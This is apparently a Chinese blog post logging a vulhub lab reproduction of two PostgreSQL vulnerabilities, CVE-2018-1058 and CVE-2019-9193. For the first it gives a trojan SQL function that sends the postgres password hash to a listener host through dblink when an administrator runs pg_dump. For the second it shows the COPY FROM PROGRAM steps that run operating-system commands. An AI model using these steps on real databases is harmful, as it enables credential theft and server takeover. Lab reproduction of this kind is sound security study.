Postgres漏洞复现

Postgres漏洞汇现

CVE-2018-1058

漏洞名称:

远程代码执行漏洞

漏洞类型:

远程代码执行

公布时间:

2018-3-1

涉及应用版本:

PostgreSQL

https://www.securityfocus.com/bid/103221

针对操作系统:

windows/linux/mac

漏洞简介:

拥有普通权限的psql用户可以创建恶意函数。在管理员使用某些工具的时候,就会触发到恶意函数,造成代码执行。从而把信息反弹给另一台主机

参考文章:

https://xz.aliyun.com/t/2109

测试信息

测试应用及版本:

postgres 9.6.7

测试操作系统环境:

ubuntu/linux

测试人:

Ann

测试日期:

2019-7-20

测试环境:

vulhub/postgres/CVE-2018-1058

测试过程:

  1. 以普通用户登陆 vulhub/vulhub
  2. 以普通用户执行命令,创建恶意函数
CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$
    select dblink_connect((select 'hostaddr=192.168.248.132 port=12345 user=postgres password=chybeta sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres'))); 
    SELECT pg_catalog.array_to_string($1,$2);
$$ LANGUAGE SQL VOLATILE;
  1. 远程监听端口 4444
  2. 以管理员用户登录 postgres/postgres
  3. 执行命令,触发恶意函数,导致代码执行,并发送到指定机器上
    pg_dump -U postgres -f evil.bak evil
  4. 得到管理员密码

CVE-2019-9193

漏洞名称:

高权限命令执行漏洞

漏洞类型:

远程命令执行

公布时间:

2019-3-27

涉及应用版本:

PostgreSQL

9.3-11.2

针对操作系统:

windows/linux/mac

漏洞简介:

版本9.3开始,实现了“ 复制到/来自程序 ”的新功能。这允许数据库超级用户和’pg_execute_server_program’组中的任何用户运行任意操作系统命令。这实际上意味着数据库超级用户用户与在操作系统上运行数据库的用户之间没有权限分离

Metasploit:

https://github.com/Greenwolf/postgres_cmd_execution_nine_three?source=post_page---------------------------

这个需要自行添加到msf的模块中

参考文章:

https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5

测试信息

测试应用及版本:

postgres 10.7

测试操作系统环境:

ubuntu/linux

测试人:

Ann

测试日期:

2019-7-20

测试环境:

vulhub/postgres/CVE-2019-9193

测试过程:

  1. 登陆默认账号密码 postgres/postgres
    在这里插入图片描述
  2. 执行命令,删除存在的cmd_exec表
    DROP TABLE IF EXISTS cmd_exec;
  3. 创建新的表
    CREATE TABLE cmd_exec(cmd_output text);
  4. 在代码执行中插入命令
    COPY cmd_exec FROM PROGRAM ' ID ' ;
  5. 查看命令的执行结果
    SELECT * FROM cmd_exec;
    在这里插入图片描述
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章